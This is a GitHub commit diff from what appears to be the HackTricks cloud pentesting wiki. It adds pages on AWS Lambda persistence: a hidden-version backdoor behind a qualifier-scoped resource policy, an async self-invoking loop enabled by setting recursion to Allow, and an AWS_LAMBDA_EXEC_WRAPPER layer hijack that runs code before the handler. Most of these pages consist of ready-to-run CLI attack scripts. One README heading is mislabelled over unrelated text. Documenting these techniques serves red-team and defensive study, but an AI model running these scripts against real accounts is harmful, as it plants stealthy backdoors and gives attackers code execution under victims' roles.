Skip to content

Commit 27fd007

Browse files
committed
lambda attacks recheck
1 parent 83663e4 commit 27fd007

14 files changed

+860
-2
lines changed

src/SUMMARY.md

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -229,7 +229,10 @@
229229
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md)
230230
- [AWS - Lambda Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md)
231231
- [AWS - Abusing Lambda Extensions](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
232+
- [AWS - Lambda Alias Version Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md)
233+
- [AWS - Lambda Async Self Loop Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md)
232234
- [AWS - Lambda Layers Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
235+
- [AWS - Lambda Exec Wrapper Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md)
233236
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
234237
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
235238
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
@@ -259,7 +262,13 @@
259262
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md)
260263
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md)
261264
- [AWS - Lambda Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md)
262-
- [AWS - Steal Lambda Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
265+
- [AWS - Lambda EFS Mount Injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md)
266+
- [AWS - Lambda Event Source Mapping Hijack](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md)
267+
- [AWS - Lambda Function URL Public Exposure](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md)
268+
- [AWS - Lambda LoggingConfig Redirection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md)
269+
- [AWS - Lambda Runtime Pinning Abuse](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md)
270+
- [AWS - Lambda Steal Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
271+
- [AWS - Lambda VPC Egress Bypass](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md)
263272
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md)
264273
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md)
265274
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md)

src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -61,6 +61,33 @@ Here you have some ideas to make your **presence in AWS more stealth by creating
6161
- Every time a new role is created lambda gives assume role permissions to compromised users.
6262
- Every time new cloudtrail logs are generated, delete/alter them
6363

64+
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
65+
66+
Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally.
67+
68+
{{#ref}}
69+
aws-lambda-exec-wrapper-persistence.md
70+
{{#endref}}
71+
72+
### AWS - Lambda Function URL Public Exposure
73+
74+
Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
75+
76+
{{#ref}}
77+
aws-lambda-async-self-loop-persistence.md
78+
{{#endref}}
79+
80+
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
81+
82+
Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
83+
84+
This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias.
85+
86+
{{#ref}}
87+
aws-lambda-alias-version-policy-backdoor.md
88+
{{#endref}}
89+
90+
6491
{{#include ../../../../banners/hacktricks-training.md}}
6592

6693

Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
2+
3+
{{#include ../../../../banners/hacktricks-training.md}}
4+
5+
## Summary
6+
7+
Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
8+
9+
This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias.
10+
11+
## Required Permissions (attacker)
12+
13+
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
14+
- `lambda:AddPermission` (to add version-scoped resource policy)
15+
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
16+
17+
## Attack Steps (CLI)
18+
19+
<details>
20+
<summary>Publish hidden version, add qualifier-scoped permission, invoke as attacker</summary>
21+
22+
```bash
23+
# Vars
24+
REGION=us-east-1
25+
TARGET_FN=<target-lambda-name>
26+
27+
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
28+
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
29+
30+
# 1) Build a small backdoor handler and publish as a new version
31+
cat > bdoor.py <<PY
32+
import json, os, boto3
33+
34+
def lambda_handler(e, c):
35+
ident = boto3.client(sts).get_caller_identity()
36+
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
37+
PY
38+
zip bdoor.zip bdoor.py
39+
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
40+
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
41+
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
42+
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
43+
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
44+
echo "Published version: $VER ($VER_ARN)"
45+
46+
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
47+
ATTACK_ROLE_NAME=ht-version-invoker
48+
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
49+
cat > /tmp/invoke-policy.json <<POL
50+
{
51+
"Version": "2012-10-17",
52+
"Statement": [{
53+
"Effect": "Allow",
54+
"Action": ["lambda:InvokeFunction"],
55+
"Resource": ["$VER_ARN"]
56+
}]
57+
}
58+
POL
59+
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
60+
61+
# Add resource-based policy scoped to the version (Qualifier)
62+
aws lambda add-permission \
63+
--function-name "$TARGET_FN" \
64+
--qualifier "$VER" \
65+
--statement-id ht-version-backdoor \
66+
--action lambda:InvokeFunction \
67+
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
68+
--region $REGION
69+
70+
# 3) Assume the attacker role and invoke only the qualified version
71+
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
72+
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
73+
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
74+
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
75+
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
76+
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
77+
cat /tmp/ver-out.json
78+
79+
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
80+
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
81+
```
82+
83+
</details>
84+
85+
## Impact
86+
87+
- Grants a stealthy backdoor to invoke a hidden version of the function without modifying the primary alias or exposing a Function URL.
88+
- Limits exposure to only the specified version/alias via the resource-based policy `Qualifier`, reducing detection surface while retaining reliable invocation for the attacker principal.
89+
90+
{{#include ../../../../banners/hacktricks-training.md}}
Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
2+
3+
Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
4+
5+
Notes
6+
- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
7+
- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.
8+
9+
## Requirements
10+
- Region: us-east-1
11+
- Vars:
12+
- REGION=us-east-1
13+
- TARGET_FN=<target-lambda-name>
14+
15+
## Steps
16+
17+
1) Get function ARN and current recursion setting
18+
```
19+
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
20+
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
21+
```
22+
23+
2) Publish a version and create/update an alias (used as self destination)
24+
```
25+
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
26+
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
27+
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
28+
else
29+
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
30+
fi
31+
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
32+
```
33+
34+
3) Allow the function execution role to invoke the alias (required by Lambda Destinations→Lambda)
35+
```
36+
# Set this to the execution role name used by the target function
37+
ROLE_NAME=<lambda-execution-role-name>
38+
cat > /tmp/invoke-self-policy.json <<EOF
39+
{
40+
"Version": "2012-10-17",
41+
"Statement": [
42+
{
43+
"Effect": "Allow",
44+
"Action": "lambda:InvokeFunction",
45+
"Resource": "${ALIAS_ARN}"
46+
}
47+
]
48+
}
49+
EOF
50+
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
51+
```
52+
53+
4) Configure async destination to the alias (self via alias) and disable retries
54+
```
55+
aws lambda put-function-event-invoke-config \
56+
--function-name "$TARGET_FN" \
57+
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
58+
--maximum-retry-attempts 0 \
59+
--region $REGION
60+
61+
# Verify
62+
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
63+
```
64+
65+
5) Allow recursive loops
66+
```
67+
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
68+
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
69+
```
70+
71+
6) Seed a single asynchronous invoke
72+
```
73+
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
74+
```
75+
76+
7) Observe continuous invocations (examples)
77+
```
78+
# Recent logs (if the function logs each run)
79+
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
80+
# or check CloudWatch Metrics for Invocations increasing
81+
```
82+
83+
8) Optional stealth throttle
84+
```
85+
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
86+
```
87+
88+
## Cleanup
89+
Break the loop and remove persistence.
90+
```
91+
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
92+
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
93+
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
94+
# Optional: delete alias and remove the inline policy when finished
95+
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
96+
ROLE_NAME=<lambda-execution-role-name>
97+
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
98+
```
99+
100+
## Impact
101+
- Single async invoke causes Lambda to continually re-invoke itself with no external scheduler, enabling stealthy persistence/heartbeat. Reserved concurrency can limit noise to a single warm execution.
Lines changed: 98 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
2+
3+
{{#include ../../../../banners/hacktricks-training.md}}
4+
5+
## Summary
6+
7+
Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally.
8+
9+
> [!WARNING]
10+
> This technique grants code execution in the target Lambda without modifying its source code or role and without needing `iam:PassRole`. You only need the ability to update the function configuration and publish/attach a layer.
11+
12+
## Required Permissions (attacker)
13+
14+
- `lambda:UpdateFunctionConfiguration`
15+
- `lambda:GetFunctionConfiguration`
16+
- `lambda:InvokeFunction` (or trigger via existing event)
17+
- `lambda:ListFunctions`, `lambda:ListLayers`
18+
- `lambda:PublishLayerVersion` (same account) and optionally `lambda:AddLayerVersionPermission` if using a cross-account/public layer
19+
20+
## Wrapper Script
21+
22+
Place the wrapper at `/opt/bin/htwrap` in the layer. It can run pre-handler logic and must end with `exec "$@"` to chain to the real runtime.
23+
24+
```bash
25+
#!/bin/bash
26+
set -euo pipefail
27+
# Pre-handler actions (runs in runtime process context)
28+
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
29+
python3 - <<'PY'
30+
import boto3, json, os
31+
try:
32+
ident = boto3.client('sts').get_caller_identity()
33+
print('[ht] sts identity:', json.dumps(ident))
34+
except Exception as e:
35+
print('[ht] sts error:', e)
36+
PY
37+
# Chain to the real runtime
38+
exec "$@"
39+
```
40+
41+
## Attack Steps (CLI)
42+
43+
<details>
44+
<summary>Publish layer, attach to target function, set wrapper, invoke</summary>
45+
46+
```bash
47+
# Vars
48+
REGION=us-east-1
49+
TARGET_FN=<target-lambda-name>
50+
51+
# 1) Package wrapper at /opt/bin/htwrap
52+
mkdir -p layer/bin
53+
cat > layer/bin/htwrap <<'WRAP'
54+
#!/bin/bash
55+
set -euo pipefail
56+
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
57+
python3 - <<'PY'
58+
import boto3, json
59+
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
60+
PY
61+
exec "$@"
62+
WRAP
63+
chmod +x layer/bin/htwrap
64+
(zip -qr htwrap-layer.zip layer)
65+
66+
# 2) Publish the layer
67+
LAYER_ARN=$(aws lambda publish-layer-version \
68+
--layer-name ht-exec-wrapper \
69+
--zip-file fileb://htwrap-layer.zip \
70+
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
71+
--query LayerVersionArn --output text --region "$REGION")
72+
73+
echo "$LAYER_ARN"
74+
75+
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
76+
aws lambda update-function-configuration \
77+
--function-name "$TARGET_FN" \
78+
--layers "$LAYER_ARN" \
79+
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
80+
--region "$REGION"
81+
82+
# Wait for update to finish
83+
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
84+
85+
# 4) Invoke and verify via CloudWatch Logs
86+
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
87+
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
88+
```
89+
90+
</details>
91+
92+
## Impact
93+
94+
- Pre-handler code execution in the Lambda runtime context using the function's existing execution role.
95+
- No changes to the function code or role required; works across common managed runtimes (Python, Node.js, Java, .NET).
96+
- Enables persistence, credential access (e.g., STS), data exfiltration, and runtime tampering before the handler runs.
97+
98+
{{#include ../../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)